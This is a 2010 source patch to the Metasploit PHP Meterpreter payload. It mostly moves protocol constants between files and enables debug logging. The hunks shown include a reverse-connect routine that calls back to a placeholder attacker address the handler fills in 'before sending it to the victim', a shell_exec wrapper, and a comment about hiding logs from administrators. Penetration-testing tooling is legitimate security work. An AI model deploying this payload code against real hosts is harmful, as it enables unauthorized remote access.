From 89b385521bcdaf32ecf970ea368eae27c8ddd0c7 Mon Sep 17 00:00:00 2001
From: James Lee <James_Lee@rapid7.com>
Date: Tue, 27 Jul 2010 21:16:15 +0000
Subject: [PATCH] move the stdapi constants into the stdapi extension to save a
 little space when php meterpreter is standalone

git-svn-id: file:///home/svn/framework3/trunk@9939 4d416f70-5f16-0410-b530-b9f4589650da
---
 php/meterpreter/ext_server_stdapi.php | 140 ++++++++++++++++++++
 php/meterpreter/meterpreter.php       | 181 ++++----------------------
 2 files changed, 164 insertions(+), 157 deletions(-)

diff --git a/php/meterpreter/ext_server_stdapi.php b/php/meterpreter/ext_server_stdapi.php
index 5d19314b..e9a19f3d 100644
--- a/php/meterpreter/ext_server_stdapi.php
+++ b/php/meterpreter/ext_server_stdapi.php
@@ -3,6 +3,146 @@
 # STDAPI
 ##
 
+##
+# General
+##
+define("TLV_TYPE_HANDLE",              TLV_META_TYPE_UINT    |  600);
+define("TLV_TYPE_INHERIT",             TLV_META_TYPE_BOOL    |  601);
+define("TLV_TYPE_PROCESS_HANDLE",      TLV_META_TYPE_UINT    |  630);
+define("TLV_TYPE_THREAD_HANDLE",       TLV_META_TYPE_UINT    |  631);
+
+##
+# Fs
+##
+define("TLV_TYPE_DIRECTORY_PATH",      TLV_META_TYPE_STRING  | 1200);
+define("TLV_TYPE_FILE_NAME",           TLV_META_TYPE_STRING  | 1201);
+define("TLV_TYPE_FILE_PATH",           TLV_META_TYPE_STRING  | 1202);
+define("TLV_TYPE_FILE_MODE",           TLV_META_TYPE_STRING  | 1203);
+define("TLV_TYPE_STAT_BUF",            TLV_META_TYPE_COMPLEX | 1220);
+
+##
+# Net
+##
+define("TLV_TYPE_HOST_NAME",           TLV_META_TYPE_STRING  | 1400);
+define("TLV_TYPE_PORT",                TLV_META_TYPE_UINT    | 1401);
+
+define("TLV_TYPE_SUBNET",              TLV_META_TYPE_RAW     | 1420);
+define("TLV_TYPE_NETMASK",             TLV_META_TYPE_RAW     | 1421);
+define("TLV_TYPE_GATEWAY",             TLV_META_TYPE_RAW     | 1422);
+define("TLV_TYPE_NETWORK_ROUTE",       TLV_META_TYPE_GROUP   | 1423);
+
+define("TLV_TYPE_IP",                  TLV_META_TYPE_RAW     | 1430);
+define("TLV_TYPE_MAC_ADDRESS",         TLV_META_TYPE_RAW     | 1431);
+define("TLV_TYPE_MAC_NAME",            TLV_META_TYPE_STRING  | 1432);
+define("TLV_TYPE_NETWORK_INTERFACE",   TLV_META_TYPE_GROUP   | 1433);
+
+define("TLV_TYPE_SUBNET_STRING",       TLV_META_TYPE_STRING  | 1440);
+define("TLV_TYPE_NETMASK_STRING",      TLV_META_TYPE_STRING  | 1441);
+define("TLV_TYPE_GATEWAY_STRING",      TLV_META_TYPE_STRING  | 1442);
+
+# Socket
+define("TLV_TYPE_PEER_HOST",           TLV_META_TYPE_STRING  | 1500);
+define("TLV_TYPE_PEER_PORT",           TLV_META_TYPE_UINT    | 1501);
+define("TLV_TYPE_LOCAL_HOST",          TLV_META_TYPE_STRING  | 1502);
+define("TLV_TYPE_LOCAL_PORT",          TLV_META_TYPE_UINT    | 1503);
+define("TLV_TYPE_CONNECT_RETRIES",     TLV_META_TYPE_UINT    | 1504);
+
+define("TLV_TYPE_SHUTDOWN_HOW",        TLV_META_TYPE_UINT    | 1530);
+
+##
+# Sys
+##
+define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
+define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
+define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
+define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
+
+# Registry
+define("TLV_TYPE_HKEY",                TLV_META_TYPE_UINT    | 1000);
+define("TLV_TYPE_ROOT_KEY",            TLV_TYPE_HKEY);
+define("TLV_TYPE_BASE_KEY",            TLV_META_TYPE_STRING  | 1001);
+define("TLV_TYPE_PERMISSION",          TLV_META_TYPE_UINT    | 1002);
+define("TLV_TYPE_KEY_NAME",            TLV_META_TYPE_STRING  | 1003);
+define("TLV_TYPE_VALUE_NAME",          TLV_META_TYPE_STRING  | 1010);
+define("TLV_TYPE_VALUE_TYPE",          TLV_META_TYPE_UINT    | 1011);
+define("TLV_TYPE_VALUE_DATA",          TLV_META_TYPE_RAW     | 1012);
+
+# Config
+define("TLV_TYPE_COMPUTER_NAME",       TLV_META_TYPE_STRING  | 1040);
+define("TLV_TYPE_OS_NAME",             TLV_META_TYPE_STRING  | 1041);
+define("TLV_TYPE_USER_NAME",           TLV_META_TYPE_STRING  | 1042);
+
+define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
+
+# Process
+define("TLV_TYPE_BASE_ADDRESS",        TLV_META_TYPE_UINT    | 2000);
+define("TLV_TYPE_ALLOCATION_TYPE",     TLV_META_TYPE_UINT    | 2001);
+define("TLV_TYPE_PROTECTION",          TLV_META_TYPE_UINT    | 2002);
+define("TLV_TYPE_PROCESS_PERMS",       TLV_META_TYPE_UINT    | 2003);
+define("TLV_TYPE_PROCESS_MEMORY",      TLV_META_TYPE_RAW     | 2004);
+define("TLV_TYPE_ALLOC_BASE_ADDRESS",  TLV_META_TYPE_UINT    | 2005);
+define("TLV_TYPE_MEMORY_STATE",        TLV_META_TYPE_UINT    | 2006);
+define("TLV_TYPE_MEMORY_TYPE",         TLV_META_TYPE_UINT    | 2007);
+define("TLV_TYPE_ALLOC_PROTECTION",    TLV_META_TYPE_UINT    | 2008);
+define("TLV_TYPE_PID",                 TLV_META_TYPE_UINT    | 2300);
+define("TLV_TYPE_PROCESS_NAME",        TLV_META_TYPE_STRING  | 2301);
+define("TLV_TYPE_PROCESS_PATH",        TLV_META_TYPE_STRING  | 2302);
+define("TLV_TYPE_PROCESS_GROUP",       TLV_META_TYPE_GROUP   | 2303);
+define("TLV_TYPE_PROCESS_FLAGS",       TLV_META_TYPE_UINT    | 2304);
+define("TLV_TYPE_PROCESS_ARGUMENTS",   TLV_META_TYPE_STRING  | 2305);
+
+define("TLV_TYPE_IMAGE_FILE",          TLV_META_TYPE_STRING  | 2400);
+define("TLV_TYPE_IMAGE_FILE_PATH",     TLV_META_TYPE_STRING  | 2401);
+define("TLV_TYPE_PROCEDURE_NAME",      TLV_META_TYPE_STRING  | 2402);
+define("TLV_TYPE_PROCEDURE_ADDRESS",   TLV_META_TYPE_UINT    | 2403);
+define("TLV_TYPE_IMAGE_BASE",          TLV_META_TYPE_UINT    | 2404);
+define("TLV_TYPE_IMAGE_GROUP",         TLV_META_TYPE_GROUP   | 2405);
+define("TLV_TYPE_IMAGE_NAME",          TLV_META_TYPE_STRING  | 2406);
+
+define("TLV_TYPE_THREAD_ID",           TLV_META_TYPE_UINT    | 2500);
+define("TLV_TYPE_THREAD_PERMS",        TLV_META_TYPE_UINT    | 2502);
+define("TLV_TYPE_EXIT_CODE",           TLV_META_TYPE_UINT    | 2510);
+define("TLV_TYPE_ENTRY_POINT",         TLV_META_TYPE_UINT    | 2511);
+define("TLV_TYPE_ENTRY_PARAMETER",     TLV_META_TYPE_UINT    | 2512);
+define("TLV_TYPE_CREATION_FLAGS",      TLV_META_TYPE_UINT    | 2513);
+
+define("TLV_TYPE_REGISTER_NAME",       TLV_META_TYPE_STRING  | 2540);
+define("TLV_TYPE_REGISTER_SIZE",       TLV_META_TYPE_UINT    | 2541);
+define("TLV_TYPE_REGISTER_VALUE_32",   TLV_META_TYPE_UINT    | 2542);
+define("TLV_TYPE_REGISTER",            TLV_META_TYPE_GROUP   | 2550);
+
+##
+# Ui
+##
+define("TLV_TYPE_IDLE_TIME",           TLV_META_TYPE_UINT    | 3000);
+define("TLV_TYPE_KEYS_DUMP",           TLV_META_TYPE_STRING  | 3001);
+define("TLV_TYPE_DESKTOP",             TLV_META_TYPE_STRING  | 3002);
+
+##
+# Event Log
+##
+define("TLV_TYPE_EVENT_SOURCENAME",    TLV_META_TYPE_STRING  | 4000);
+define("TLV_TYPE_EVENT_HANDLE",        TLV_META_TYPE_UINT    | 4001);
+define("TLV_TYPE_EVENT_NUMRECORDS",    TLV_META_TYPE_UINT    | 4002);
+
+define("TLV_TYPE_EVENT_READFLAGS",     TLV_META_TYPE_UINT    | 4003);
+define("TLV_TYPE_EVENT_RECORDOFFSET",  TLV_META_TYPE_UINT    | 4004);
+
+define("TLV_TYPE_EVENT_RECORDNUMBER",  TLV_META_TYPE_UINT    | 4006);
+define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT    | 4007);
+define("TLV_TYPE_EVENT_TIMEWRITTEN",   TLV_META_TYPE_UINT    | 4008);
+define("TLV_TYPE_EVENT_ID",            TLV_META_TYPE_UINT    | 4009);
+define("TLV_TYPE_EVENT_TYPE",          TLV_META_TYPE_UINT    | 4010);
+define("TLV_TYPE_EVENT_CATEGORY",      TLV_META_TYPE_UINT    | 4011);
+define("TLV_TYPE_EVENT_STRING",        TLV_META_TYPE_STRING  | 4012);
+define("TLV_TYPE_EVENT_DATA",          TLV_META_TYPE_RAW     | 4013);
+
+##
+# Power
+##
+define("TLV_TYPE_POWER_FLAGS",         TLV_META_TYPE_UINT    | 4100);
+define("TLV_TYPE_POWER_REASON",        TLV_META_TYPE_UINT    | 4101);
+
 # Wrap everything in checks for existence of the new functions in case we get
 # eval'd twice
 my_print("Evaling stdapi");
diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php
index 3936046c..013ddaf1 100644
--- a/php/meterpreter/meterpreter.php
+++ b/php/meterpreter/meterpreter.php
@@ -1,5 +1,8 @@
 #<?php
 
+# Everything that needs to be global has to be made so explicitly so we can run
+# inside a call to create_user_func($user_input);
+
 # global list of channels
 if (!isset($GLOBALS['channels'])) {
     $GLOBALS['channels'] = array();
@@ -22,7 +25,7 @@ if (!isset($GLOBALS['readers'])) {
 }
 
 function my_print($str) {
-    #error_log($str);
+    error_log($str);
 }
 
 my_print("Evaling main meterpreter stage");
@@ -37,8 +40,7 @@ function dump_array($arr, $name=null) {
         my_print(sprintf("$name (%s)", count($arr)));
     }
     foreach ($arr as $key => $val) {
-        $foo = sprintf("    $key ($val)");
-        my_print($foo);
+        my_print(sprintf("    $key ($val)"));
     }
 }
 function dump_readers() {
@@ -54,13 +56,13 @@ function dump_resource_map() {
 # Doesn't exist before php 4.3
 if (!function_exists("file_get_contents")) {
 function file_get_contents($file) {
-        $f = @fopen($file,"rb");
-        $contents = false;
-        if ($f) {
-            do { $contents .= fgets($f); } while (!feof($f));
-        }
-        fclose($f);
-        return $contents;
+    $f = @fopen($file,"rb");
+    $contents = false;
+    if ($f) {
+        do { $contents .= fgets($f); } while (!feof($f));
+    }
+    fclose($f);
+    return $contents;
 }
 }
 
@@ -149,146 +151,6 @@ define("TLV_TYPE_MIGRATE_LEN",         TLV_META_TYPE_UINT   | 403);
 define("TLV_TYPE_CIPHER_NAME",         TLV_META_TYPE_STRING | 500);
 define("TLV_TYPE_CIPHER_PARAMETERS",   TLV_META_TYPE_GROUP  | 501);
 
-##
-# General
-##
-define("TLV_TYPE_HANDLE",              TLV_META_TYPE_UINT    |  600);
-define("TLV_TYPE_INHERIT",             TLV_META_TYPE_BOOL    |  601);
-define("TLV_TYPE_PROCESS_HANDLE",      TLV_META_TYPE_UINT    |  630);
-define("TLV_TYPE_THREAD_HANDLE",       TLV_META_TYPE_UINT    |  631);
-
-##
-# Fs
-##
-define("TLV_TYPE_DIRECTORY_PATH",      TLV_META_TYPE_STRING  | 1200);
-define("TLV_TYPE_FILE_NAME",           TLV_META_TYPE_STRING  | 1201);
-define("TLV_TYPE_FILE_PATH",           TLV_META_TYPE_STRING  | 1202);
-define("TLV_TYPE_FILE_MODE",           TLV_META_TYPE_STRING  | 1203);
-define("TLV_TYPE_STAT_BUF",            TLV_META_TYPE_COMPLEX | 1220);
-
-##
-# Net
-##
-define("TLV_TYPE_HOST_NAME",           TLV_META_TYPE_STRING  | 1400);
-define("TLV_TYPE_PORT",                TLV_META_TYPE_UINT    | 1401);
-
-define("TLV_TYPE_SUBNET",              TLV_META_TYPE_RAW     | 1420);
-define("TLV_TYPE_NETMASK",             TLV_META_TYPE_RAW     | 1421);
-define("TLV_TYPE_GATEWAY",             TLV_META_TYPE_RAW     | 1422);
-define("TLV_TYPE_NETWORK_ROUTE",       TLV_META_TYPE_GROUP   | 1423);
-
-define("TLV_TYPE_IP",                  TLV_META_TYPE_RAW     | 1430);
-define("TLV_TYPE_MAC_ADDRESS",         TLV_META_TYPE_RAW     | 1431);
-define("TLV_TYPE_MAC_NAME",            TLV_META_TYPE_STRING  | 1432);
-define("TLV_TYPE_NETWORK_INTERFACE",   TLV_META_TYPE_GROUP   | 1433);
-
-define("TLV_TYPE_SUBNET_STRING",       TLV_META_TYPE_STRING  | 1440);
-define("TLV_TYPE_NETMASK_STRING",      TLV_META_TYPE_STRING  | 1441);
-define("TLV_TYPE_GATEWAY_STRING",      TLV_META_TYPE_STRING  | 1442);
-
-# Socket
-define("TLV_TYPE_PEER_HOST",           TLV_META_TYPE_STRING  | 1500);
-define("TLV_TYPE_PEER_PORT",           TLV_META_TYPE_UINT    | 1501);
-define("TLV_TYPE_LOCAL_HOST",          TLV_META_TYPE_STRING  | 1502);
-define("TLV_TYPE_LOCAL_PORT",          TLV_META_TYPE_UINT    | 1503);
-define("TLV_TYPE_CONNECT_RETRIES",     TLV_META_TYPE_UINT    | 1504);
-
-define("TLV_TYPE_SHUTDOWN_HOW",        TLV_META_TYPE_UINT    | 1530);
-
-##
-# Sys
-##
-define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
-define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
-define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
-define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
-
-# Registry
-define("TLV_TYPE_HKEY",                TLV_META_TYPE_UINT    | 1000);
-define("TLV_TYPE_ROOT_KEY",            TLV_TYPE_HKEY);
-define("TLV_TYPE_BASE_KEY",            TLV_META_TYPE_STRING  | 1001);
-define("TLV_TYPE_PERMISSION",          TLV_META_TYPE_UINT    | 1002);
-define("TLV_TYPE_KEY_NAME",            TLV_META_TYPE_STRING  | 1003);
-define("TLV_TYPE_VALUE_NAME",          TLV_META_TYPE_STRING  | 1010);
-define("TLV_TYPE_VALUE_TYPE",          TLV_META_TYPE_UINT    | 1011);
-define("TLV_TYPE_VALUE_DATA",          TLV_META_TYPE_RAW     | 1012);
-
-# Config
-define("TLV_TYPE_COMPUTER_NAME",       TLV_META_TYPE_STRING  | 1040);
-define("TLV_TYPE_OS_NAME",             TLV_META_TYPE_STRING  | 1041);
-define("TLV_TYPE_USER_NAME",           TLV_META_TYPE_STRING  | 1042);
-
-define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
-
-# Process
-define("TLV_TYPE_BASE_ADDRESS",        TLV_META_TYPE_UINT    | 2000);
-define("TLV_TYPE_ALLOCATION_TYPE",     TLV_META_TYPE_UINT    | 2001);
-define("TLV_TYPE_PROTECTION",          TLV_META_TYPE_UINT    | 2002);
-define("TLV_TYPE_PROCESS_PERMS",       TLV_META_TYPE_UINT    | 2003);
-define("TLV_TYPE_PROCESS_MEMORY",      TLV_META_TYPE_RAW     | 2004);
-define("TLV_TYPE_ALLOC_BASE_ADDRESS",  TLV_META_TYPE_UINT    | 2005);
-define("TLV_TYPE_MEMORY_STATE",        TLV_META_TYPE_UINT    | 2006);
-define("TLV_TYPE_MEMORY_TYPE",         TLV_META_TYPE_UINT    | 2007);
-define("TLV_TYPE_ALLOC_PROTECTION",    TLV_META_TYPE_UINT    | 2008);
-define("TLV_TYPE_PID",                 TLV_META_TYPE_UINT    | 2300);
-define("TLV_TYPE_PROCESS_NAME",        TLV_META_TYPE_STRING  | 2301);
-define("TLV_TYPE_PROCESS_PATH",        TLV_META_TYPE_STRING  | 2302);
-define("TLV_TYPE_PROCESS_GROUP",       TLV_META_TYPE_GROUP   | 2303);
-define("TLV_TYPE_PROCESS_FLAGS",       TLV_META_TYPE_UINT    | 2304);
-define("TLV_TYPE_PROCESS_ARGUMENTS",   TLV_META_TYPE_STRING  | 2305);
-
-define("TLV_TYPE_IMAGE_FILE",          TLV_META_TYPE_STRING  | 2400);
-define("TLV_TYPE_IMAGE_FILE_PATH",     TLV_META_TYPE_STRING  | 2401);
-define("TLV_TYPE_PROCEDURE_NAME",      TLV_META_TYPE_STRING  | 2402);
-define("TLV_TYPE_PROCEDURE_ADDRESS",   TLV_META_TYPE_UINT    | 2403);
-define("TLV_TYPE_IMAGE_BASE",          TLV_META_TYPE_UINT    | 2404);
-define("TLV_TYPE_IMAGE_GROUP",         TLV_META_TYPE_GROUP   | 2405);
-define("TLV_TYPE_IMAGE_NAME",          TLV_META_TYPE_STRING  | 2406);
-
-define("TLV_TYPE_THREAD_ID",           TLV_META_TYPE_UINT    | 2500);
-define("TLV_TYPE_THREAD_PERMS",        TLV_META_TYPE_UINT    | 2502);
-define("TLV_TYPE_EXIT_CODE",           TLV_META_TYPE_UINT    | 2510);
-define("TLV_TYPE_ENTRY_POINT",         TLV_META_TYPE_UINT    | 2511);
-define("TLV_TYPE_ENTRY_PARAMETER",     TLV_META_TYPE_UINT    | 2512);
-define("TLV_TYPE_CREATION_FLAGS",      TLV_META_TYPE_UINT    | 2513);
-
-define("TLV_TYPE_REGISTER_NAME",       TLV_META_TYPE_STRING  | 2540);
-define("TLV_TYPE_REGISTER_SIZE",       TLV_META_TYPE_UINT    | 2541);
-define("TLV_TYPE_REGISTER_VALUE_32",   TLV_META_TYPE_UINT    | 2542);
-define("TLV_TYPE_REGISTER",            TLV_META_TYPE_GROUP   | 2550);
-
-##
-# Ui
-##
-define("TLV_TYPE_IDLE_TIME",           TLV_META_TYPE_UINT    | 3000);
-define("TLV_TYPE_KEYS_DUMP",           TLV_META_TYPE_STRING  | 3001);
-define("TLV_TYPE_DESKTOP",             TLV_META_TYPE_STRING  | 3002);
-
-##
-# Event Log
-##
-define("TLV_TYPE_EVENT_SOURCENAME",    TLV_META_TYPE_STRING  | 4000);
-define("TLV_TYPE_EVENT_HANDLE",        TLV_META_TYPE_UINT    | 4001);
-define("TLV_TYPE_EVENT_NUMRECORDS",    TLV_META_TYPE_UINT    | 4002);
-
-define("TLV_TYPE_EVENT_READFLAGS",     TLV_META_TYPE_UINT    | 4003);
-define("TLV_TYPE_EVENT_RECORDOFFSET",  TLV_META_TYPE_UINT    | 4004);
-
-define("TLV_TYPE_EVENT_RECORDNUMBER",  TLV_META_TYPE_UINT    | 4006);
-define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT    | 4007);
-define("TLV_TYPE_EVENT_TIMEWRITTEN",   TLV_META_TYPE_UINT    | 4008);
-define("TLV_TYPE_EVENT_ID",            TLV_META_TYPE_UINT    | 4009);
-define("TLV_TYPE_EVENT_TYPE",          TLV_META_TYPE_UINT    | 4010);
-define("TLV_TYPE_EVENT_CATEGORY",      TLV_META_TYPE_UINT    | 4011);
-define("TLV_TYPE_EVENT_STRING",        TLV_META_TYPE_STRING  | 4012);
-define("TLV_TYPE_EVENT_DATA",          TLV_META_TYPE_RAW     | 4013);
-
-##
-# Power
-##
-define("TLV_TYPE_POWER_FLAGS",         TLV_META_TYPE_UINT    | 4100);
-define("TLV_TYPE_POWER_REASON",        TLV_META_TYPE_UINT    | 4101);
-
 function my_cmd($cmd) {
     return shell_exec($cmd);
 }
@@ -299,9 +161,6 @@ function is_windows() {
 
 
 
-
-
-
 ##
 # Worker functions
 ##
@@ -711,13 +570,16 @@ function connect($ipaddr, $port, $proto='tcp') {
     # Prefer the stream versions so we don't have to use both select functions
     # unnecessarily, but fall back to socket_create if they aren't available.
     if (is_callable('stream_socket_client')) {
-        my_print("stream_socket_client");
+        my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
         $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
+        my_print("Got a sock: $sock");
         if (!$sock) { return false; }
         if ($proto == 'tcp') {
             register_stream($sock);
         } elseif ($proto == 'udp') {
             register_stream($sock, $ipaddr, $port);
+        } else {
+            my_print("WTF proto is this: '$proto'");
         }
     } else
     if (is_callable('fsockopen')) {
@@ -935,7 +797,7 @@ ob_implicit_flush();
 # Turn off error reporting so we don't leave any ugly logs.  Why make an
 # administrator's job easier if we don't have to?  =)
 error_reporting(0);
-#error_reporting(E_ALL);
+error_reporting(E_ALL);
 
 @ignore_user_abort(true);
 # Has no effect in safe mode, but try anyway
@@ -944,11 +806,12 @@ error_reporting(0);
 
 # If we don't have a socket we're standalone, setup the connection here.
 # Otherwise, this is a staged payload, don't bother connecting
-if (!isset($msgsock)) {
+if (!isset($GLOBALS['msgsock'])) {
     # The payload handler overwrites this with the correct LHOST before sending
     # it to the victim.
     $ipaddr = '127.0.0.1';
     $port = 4444;
+    my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
     if (FALSE !== strpos($ipaddr,":")) {
         # ipv6 requires brackets around the address
         $ipaddr = "[".$ipaddr."]";
@@ -956,6 +819,10 @@ if (!isset($msgsock)) {
     $msgsock = connect($ipaddr, $port);
     if (!$msgsock) { die(); }
 } else {
+    # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
+    # stream) in $msgsock_type
+    $msgsock = $GLOBALS['msgsock'];
+    $msgsock_type = $GLOBALS['msgsock_type'];
     switch ($msgsock_type) {
     case 'socket':
         register_socket($msgsock);
@@ -973,7 +840,7 @@ add_reader($msgsock);
 #
 $r=$GLOBALS['readers'];
 while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
-    #my_print(sprintf("Returned from select with %s readers", count($r)));
+    my_print(sprintf("Returned from select with %s readers", count($r)));
     $read_failed = false;
     for ($i = 0; $i < $cnt; $i++) {
         $ready = $r[$i];